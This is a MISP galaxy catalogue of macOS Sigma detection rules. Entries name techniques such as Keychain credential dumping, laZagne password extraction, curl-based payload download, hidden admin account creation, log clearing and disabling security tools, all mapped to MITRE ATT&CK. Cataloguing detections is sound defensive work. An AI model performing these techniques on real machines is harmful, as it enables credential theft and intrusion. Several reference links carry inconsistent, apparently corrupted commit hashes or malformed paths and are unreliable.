- related-to: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10779. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml</a></td>
</tr>
</tbody>
</table>

**Root Account Enable Via Dsenableroot**

Detects attempts to enable the root account via "dsenableroot"

The tag is: `misp-galaxy:sigma-rules="Root Account Enable Via Dsenableroot"`
View relationships graph

Root Account Enable Via Dsenableroot has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 10780. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml">https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md">https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/osx/dsenableroot.html">https://ss64.com/osx/dsenableroot.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml</a></td>
</tr>
</tbody>
</table>

MacOS Network Service Scanning

Detects enumeration of local or remote network services.

The tag is: misp-galaxy: sigma-rules="MacOS Network Service Scanning"

View relationships graph

MacOS Network Service Scanning has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 10781. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfec3d342bfcf365fee2a9/atomics/T1046/T1046.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfec3d342bfcf365fee2a9/atomics/T1046/T1046.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Browser Child Process - MacOS

Dectects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.

The tag is: *misp-galaxy: sigma-rules="Suspicious Browser Child Process - MacOS"

View relationships graph

Suspicious Browser Child Process - MacOS has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10782. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang">https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml">https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_browser_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_browser_child_process.yml</a></td>
</tr>
</tbody>
</table>

JAMF MDM Potential Suspicious Child Process

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

The tag is: *misp-galaxy: sigma-rules="JAMF MDM Potential Suspicious Child Process"

Table 10783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html">https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html</a></td>
</tr>
<tr>
<td><a href="https://www.zoocoup.org/casper/jamf_cheatsheet.pdf">https://www.zoocoup.org/casper/jamf_cheatsheet.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/MythicAgents/typhon/">https://github.com/MythicAgents/typhon/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Execution via macOS Script Editor

Detects when the macOS Script Editor utility spawns an unusual child process.

The tag is: misp-galaxy:sigma-rules="Suspicious Execution via macOS Script Editor"

View relationships graph

Suspicious Execution via macOS Script Editor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"

Table 10784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4ae95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685">GitHub</a></td>
</tr>
<tr>
<td><a href="https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/">WojciechRegula</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml">GitHub</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via PlistBuddy

Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via PlistBuddy"

View relationships graph

Potential Persistence Via PlistBuddy has relationships with:
Guest Account Enabled Via Sysadminctl

Detects attempts to enable the guest account using the sysadminctl utility

The tag is: `misp-galaxy:sigma-rules="Guest Account Enabled Via Sysadminctl"`

View relationships graph

Guest Account Enabled Via Sysadminctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

Binary Padding - MacOS

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

The tag is: `misp-galaxy:sigma-rules="Binary Padding - MacOS"`

View relationships graph

Binary Padding - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
Creation Of A Local User Account

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The tag is: misp-galaxy:sigma-rules="Creation Of A Local User Account"

View relationships graph

Creation Of A Local User Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Potential Discovery Activity Using Find - MacOS

Detects usage of "find" binary in a suspicious manner to perform discovery

The tag is: misp-galaxy:sigma-rules="Potential Discovery Activity Using Find - MacOS"

View relationships graph

Potential Discovery Activity Using Find - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Hidden User Creation

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

The tag is: *misp-galaxy:sigma-rules*="Hidden User Creation"

View relationships graph

Hidden User Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

Table 10790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml</a></td>
</tr>
</tbody>
</table>

Suspicious History File Operations

Detects commandline operations on shell history files

The tag is: *misp-galaxy:sigma-rules*="Suspicious History File Operations"

View relationships graph

Suspicious History File Operations has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 10791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml</a></td>
</tr>
</tbody>
</table>
System Network Connections Discovery - MacOs

Detects usage of system utilities to discover system network connections

The tag is: misp-galaxy:sigma-rules="System Network Connections Discovery - MacOs"

View relationships graph

System Network Connections Discovery - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"
  with estimative-language:likelihood-probability="almost-certain"

Table 10792. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bf365fee2a9/atomics/T1049/T1049.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bf365fee2a9/atomics/T1049/T1049.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml</a></td>
</tr>
</tbody>
</table>

System Network Discovery - macOS

Detects enumeration of local network configuration

The tag is: misp-galaxy:sigma-rules="System Network Discovery - macOS"

View relationships graph

System Network Discovery - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"
  with estimative-language:likelihood-probability="almost-certain"

Table 10793. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bf365fee2a9/atomics/T1016/T1016.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bf365fee2a9/atomics/T1016/T1016.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml</a></td>
</tr>
</tbody>
</table>

Potential XCSSET Malware Infection

Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.

The tag is: misp-galaxy:sigma-rules="Potential XCSSET Malware Infection"
Table 10794. Table References

Links

https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08

https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset

https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml

Credentials In Files

Detecting attempts to extract passwords with grep and laZagne

The tag is: misp-galaxy:sigma-rules="Credentials In Files"

View relationships graph

Credentials In Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 10795. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md

https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml

Suspicious MacOS Firmware Activity

Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.

The tag is: misp-galaxy:sigma-rules="Suspicious MacOS Firmware Activity"

Table 10796. Table References

Links

https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml


https://www.manpagez.com/man/8/firmwarepasswd/
User Added To Admin Group Via Dscl

Detects attempts to create and add an account to the admin group via "dscl"

The tag is: misp-galaxy: sigma-rules="User Added To Admin Group Via Dscl"

View relationships graph

User Added To Admin Group Via Dscl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 10797. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/osx/dscl.html">https://ss64.com/osx/dscl.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dscl_add_user_to_admin_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dscl_add_user_to_admin_group.yml</a></td>
</tr>
</tbody>
</table>

File Time Attribute Change

Detect file time attribute change to hide new or changes to existing files

The tag is: misp-galaxy: sigma-rules="File Time Attribute Change"

View relationships graph

File Time Attribute Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 10798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f0fcd3d742bfcf365fee2a9/atomics/T1070.006/T1070.006.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f0fcd3d742bfcf365fee2a9/atomics/T1070.006/T1070.006.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml</a></td>
</tr>
</tbody>
</table>
Payload Decoded and Decrypted via Built-in Utilities

Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.

The tag is: `misp-galaxy:sigma-rules="Payload Decoded and Decrypted via Built-in Utilities"`

View relationships graph

Payload Decoded and Decrypted via Built-in Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 10799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823">https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml</a></td>
</tr>
</tbody>
</table>

Space After Filename - macOS

Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.

The tag is: `misp-galaxy:sigma-rules="Space After Filename - macOS"`

View relationships graph

Space After Filename - macOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006" with estimative-language:likelihood-probability="almost-certain"

Table 10800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential In-Memory Download And Compile Of Payloads

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

The tag is: `misp-galaxy:sigma-rules="Potential In-Memory Download And Compile Of Payloads"`

View relationships graph

Potential In-Memory Download And Compile Of Payloads has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Local Groups Discovery - MacOs

Detects enumeration of local system groups

The tag is: `misp-galaxy:sigma-rules="Local Groups Discovery - MacOs"`

View relationships graph

Local Groups Discovery - MacOs has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"
Scheduled Cron Task/Job - MacOs

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

The tag is: misp-galaxy:sigma-rules="Scheduled Cron Task/Job - MacOs"

View relationships graph

Scheduled Cron Task/Job - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10803. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml</a></td>
</tr>
</tbody>
</table>

Decode Base64 Encoded Text - MacOs

Detects usage of base64 utility to decode arbitrary base64-encoded text

The tag is: misp-galaxy:sigma-rules="Decode Base64 Encoded Text - MacOs"

View relationships graph

Decode Base64 Encoded Text - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10804. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1027/T1027.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1027/T1027.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml</a></td>
</tr>
</tbody>
</table>

Macos Remote System Discovery

Detects the enumeration of other remote systems.

The tag is: misp-galaxy:sigma-rules="Macos Remote System Discovery"
Macos Remote System Discovery has relationships with:


Table 10805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742b0f365f3ee2a9/atomics/T1018/T1018.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742b0f365f3ee2a9/atomics/T1018/T1018.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macoss//remote_system_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macoss//remote_system_discovery.yml</a></td>
</tr>
</tbody>
</table>

**User Added To Admin Group Via DseditGroup**

Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.

The tag is: misp-galaxy:sigma-rules="User Added To Admin Group Via DseditGroup"

Table 10806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/osx/dseditgroup.html">https://ss64.com/osx/dseditgroup.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macoss//dseditgroup_add_to_admin_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macoss//dseditgroup_add_to_admin_group.yml</a></td>
</tr>
</tbody>
</table>

**Split A File Into Pieces**

Detection use of the command "split" to split files into parts and possible transfer.

The tag is: misp-galaxy:sigma-rules="Split A File Into Pieces"
Suspicious Installer Package Child Process

Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters.

The tag is: `misp-galaxy:sigma-rules="Suspicious Installer Package Child Process"`

View relationships graph

Suspicious Installer Package Child Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"

GUI Input Capture - macOS

Detects attempts to use system dialog prompts to capture user credentials.

The tag is: `misp-galaxy:sigma-rules="GUI Input Capture - macOS"`
GUI Input Capture - macOS has relationships with:


Table 10809. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfc365fee2a9/atomics/T1056.002/T1056.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfc365fee2a9/atomics/T1056.002/T1056.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml</a></td>
</tr>
</tbody>
</table>

User Added To Admin Group Via Sysadminctl

Detects attempts to create and add an account to the admin group via "sysadminctl"

The tag is: misp-galaxy:sigma-rules="User Added To Admin Group Via Sysadminctl"

Table 10810. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/osx/sysadminctl.html">https://ss64.com/osx/sysadminctl.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml</a></td>
</tr>
</tbody>
</table>

Local System Accounts Discovery - MacOs

Detects enumeration of local system accounts on MacOS

The tag is: misp-galaxy:sigma-rules="Local System Accounts Discovery - MacOs"
Potential WizardUpdate Malware Infection

Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.

The tag is: *misp-galaxy:sigma-rules=“Potential WizardUpdate Malware Infection”*

Indicator Removal on Host - Clear Mac System Logs

Detects deletion of local audit logs

The tag is: *misp-galaxy:sigma-rules=“Indicator Removal on Host - Clear Mac System Logs”*

View relationships graph

Indicator Removal on Host - Clear Mac System Logs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
System Shutdown/Reboot - MacOs

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

The tag is: *misp-galaxy:sigma-rules="System Shutdown/Reboot - MacOs"*

View relationships graph

System Shutdown/Reboot - MacOs has relationships with:


Table 10814. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1529/T1529.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1529/T1529.md</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Disable Security Tools

Detects disabling security tools

The tag is: *misp-galaxy:sigma-rules="Disable Security Tools"*

View relationships graph

Disable Security Tools has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10815. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml</a></td>
<td></td>
</tr>
</tbody>
</table>
Credentials from Password Stores - Keychain

Detects passwords dumps from Keychain

The tag is: `misp-galaxy:sigma-rules="Credentials from Password Stores - Keychain"

View relationships graph

Credentials from Password Stores - Keychain has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

Table 10816. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/Capybara/6228955">https://gist.github.com/Capybara/6228955</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdefb3742f6c365f6e294/atomics/T1555.001/T1555.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdefb3742f6c365f6e294/atomics/T1555.001/T1555.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml</a></td>
</tr>
</tbody>
</table>

JAMF MDM Execution

Detects execution of the “jamf” binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

The tag is: `misp-galaxy:sigma-rules="JAMF MDM Execution"

Table 10817. Table References

<table>
<thead>
